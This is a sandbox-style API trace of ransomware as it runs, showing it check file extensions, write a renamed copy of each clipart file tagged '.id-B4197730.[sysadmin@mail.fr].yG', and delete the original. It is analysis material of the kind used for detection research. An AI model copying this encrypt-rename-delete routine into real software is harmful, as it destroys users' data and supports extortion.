	[0149.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.985] lstrlenW (lpString=".1cd") returned 4
	[0149.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.985] lstrlenW (lpString=".jpg") returned 4
	[0149.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.985] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.985] lstrlenW (lpString="HH00524_.WMF") returned 12
	[0149.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.986] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=14688) returned 1
	[0149.986] CloseHandle (hObject=0x38c) returned 1
	[0149.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220
	[0149.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.987] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.987] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0150.022] GetLastError () returned 0x0
	[0150.022] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x3960, lpOverlapped=0x0) returned 1
	[0150.040] WriteFile (in: hFile=0x540, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x3970, lpOverlapped=0x0) returned 1
	[0150.041] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.041] WriteFile (in: hFile=0x540, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.041] SetEndOfFile (hFile=0x540) returned 1
	[0150.042] CloseHandle (hObject=0x540) returned 1
	[0150.042] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.042] SetEndOfFile (hFile=0x38c) returned 1
	[0150.048] CloseHandle (hObject=0x38c) returned 1
	[0150.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1
	[0150.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.049] lstrlenW (lpString=".doc") returned 4
	[0150.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.049] lstrlenW (lpString=".docx") returned 5
	[0150.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.049] lstrlenW (lpString=".pdf") returned 4
	[0150.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.049] lstrlenW (lpString=".xls") returned 4
	[0150.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.049] lstrlenW (lpString=".xlsx") returned 5
	[0150.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.049] lstrlenW (lpString=".ppt") returned 4
	[0150.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.049] lstrlenW (lpString=".zip") returned 4
	[0150.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.049] lstrlenW (lpString=".rar") returned 4
	[0150.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.049] lstrlenW (lpString=".bz2") returned 4
	[0150.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.050] lstrlenW (lpString=".7z") returned 3
	[0150.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.050] lstrlenW (lpString=".dbf") returned 4
	[0150.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.050] lstrlenW (lpString=".1cd") returned 4
	[0150.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.050] lstrlenW (lpString=".jpg") returned 4
	[0150.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.050] lstrlenW (lpString=".doc") returned 4
	[0150.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.050] lstrlenW (lpString=".docx") returned 5
	[0150.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.050] lstrlenW (lpString=".pdf") returned 4
	[0150.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.050] lstrlenW (lpString=".xls") returned 4
	[0150.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.050] lstrlenW (lpString=".xlsx") returned 5
	[0150.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.050] lstrlenW (lpString=".ppt") returned 4
	[0150.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.051] lstrlenW (lpString=".zip") returned 4
	[0150.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.051] lstrlenW (lpString=".rar") returned 4
	[0150.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.051] lstrlenW (lpString=".bz2") returned 4
	[0150.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.051] lstrlenW (lpString=".7z") returned 3
	[0150.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.051] lstrlenW (lpString=".dbf") returned 4
	[0150.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.051] lstrlenW (lpString=".1cd") returned 4
	[0150.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0150.051] lstrlenW (lpString=".jpg") returned 4
	[0150.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.051] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.051] lstrlenW (lpString="HH00527_.WMF") returned 12
	[0150.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0150.052] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5798) returned 1
	[0150.052] CloseHandle (hObject=0x38c) returned 1
	[0150.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220
	[0150.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0150.053] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.054] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0150.054] GetLastError () returned 0x0
	[0150.054] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x16a6, lpOverlapped=0x0) returned 1
	[0150.252] WriteFile (in: hFile=0x540, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x16b0, lpOverlapped=0x0) returned 1
	[0150.254] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.254] WriteFile (in: hFile=0x540, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.254] SetEndOfFile (hFile=0x540) returned 1
	[0150.254] CloseHandle (hObject=0x540) returned 1
	[0150.254] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.254] SetEndOfFile (hFile=0x38c) returned 1
	[0150.259] CloseHandle (hObject=0x38c) returned 1
	[0150.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1
	[0150.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.834] lstrlenW (lpString=".doc") returned 4
	[0150.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.834] lstrlenW (lpString=".docx") returned 5
	[0150.834] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.834] lstrlenW (lpString=".pdf") returned 4
	[0150.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.834] lstrlenW (lpString=".xls") returned 4
	[0150.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.834] lstrlenW (lpString=".xlsx") returned 5
	[0150.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.834] lstrlenW (lpString=".ppt") returned 4
	[0150.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.834] lstrlenW (lpString=".zip") returned 4
	[0150.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.834] lstrlenW (lpString=".rar") returned 4
	[0150.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.835] lstrlenW (lpString=".bz2") returned 4
	[0150.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.835] lstrlenW (lpString=".7z") returned 3
	[0150.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.835] lstrlenW (lpString=".dbf") returned 4
	[0150.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.835] lstrlenW (lpString=".1cd") returned 4
	[0150.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.835] lstrlenW (lpString=".jpg") returned 4
	[0150.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.835] lstrlenW (lpString=".doc") returned 4
	[0150.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.836] lstrlenW (lpString=".docx") returned 5
	[0150.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.836] lstrlenW (lpString=".pdf") returned 4
	[0150.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.836] lstrlenW (lpString=".xls") returned 4
	[0150.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.836] lstrlenW (lpString=".xlsx") returned 5
	[0150.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.836] lstrlenW (lpString=".ppt") returned 4
	[0150.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.836] lstrlenW (lpString=".zip") returned 4
	[0150.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.836] lstrlenW (lpString=".rar") returned 4
	[0150.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.836] lstrlenW (lpString=".bz2") returned 4
	[0150.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.836] lstrlenW (lpString=".7z") returned 3
	[0150.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.836] lstrlenW (lpString=".dbf") returned 4
	[0150.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.836] lstrlenW (lpString=".1cd") returned 4
	[0150.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0150.836] lstrlenW (lpString=".jpg") returned 4
	[0150.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.837] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.837] lstrlenW (lpString="HH00693_.WMF") returned 12
	[0150.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0150.838] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=7098) returned 1
	[0150.838] CloseHandle (hObject=0x42c) returned 1
	[0150.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220
	[0150.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0150.839] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.839] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0150.840] GetLastError () returned 0x0
	[0150.840] ReadFile (in: hFile=0x42c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1bba, lpOverlapped=0x0) returned 1
	[0150.853] WriteFile (in: hFile=0x4a4, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1bc0, lpOverlapped=0x0) returned 1
	[0150.854] ReadFile (in: hFile=0x42c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.854] WriteFile (in: hFile=0x4a4, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.854] SetEndOfFile (hFile=0x4a4) returned 1
	[0150.854] CloseHandle (hObject=0x4a4) returned 1
	[0150.854] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.854] SetEndOfFile (hFile=0x42c) returned 1
	[0150.857] CloseHandle (hObject=0x42c) returned 1
	[0150.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1
	[0150.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.859] lstrlenW (lpString=".doc") returned 4
	[0150.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.859] lstrlenW (lpString=".docx") returned 5
	[0150.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.859] lstrlenW (lpString=".pdf") returned 4
	[0150.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.859] lstrlenW (lpString=".xls") returned 4
	[0150.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.859] lstrlenW (lpString=".xlsx") returned 5
	[0150.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.859] lstrlenW (lpString=".ppt") returned 4
	[0150.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.859] lstrlenW (lpString=".zip") returned 4
	[0150.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.860] lstrlenW (lpString=".rar") returned 4
	[0150.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.860] lstrlenW (lpString=".bz2") returned 4
	[0150.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.860] lstrlenW (lpString=".7z") returned 3
	[0150.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.860] lstrlenW (lpString=".dbf") returned 4
	[0150.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.860] lstrlenW (lpString=".1cd") returned 4
	[0150.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.860] lstrlenW (lpString=".jpg") returned 4
	[0150.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.867] lstrlenW (lpString=".doc") returned 4
	[0150.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.867] lstrlenW (lpString=".docx") returned 5
	[0150.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.867] lstrlenW (lpString=".pdf") returned 4
	[0150.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.867] lstrlenW (lpString=".xls") returned 4
	[0150.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.867] lstrlenW (lpString=".xlsx") returned 5
	[0150.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.867] lstrlenW (lpString=".ppt") returned 4
	[0150.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0150.867] lstrlenW (lpString=".zip") returned 4
	[0150.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.867] lstrlenW (lpString=".rar") returned 4
	[0150.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.867] lstrlenW (lpString=".bz2") returned 4
	[0150.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.867] lstrlenW (lpString=".7z") returned 3
	[0150.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
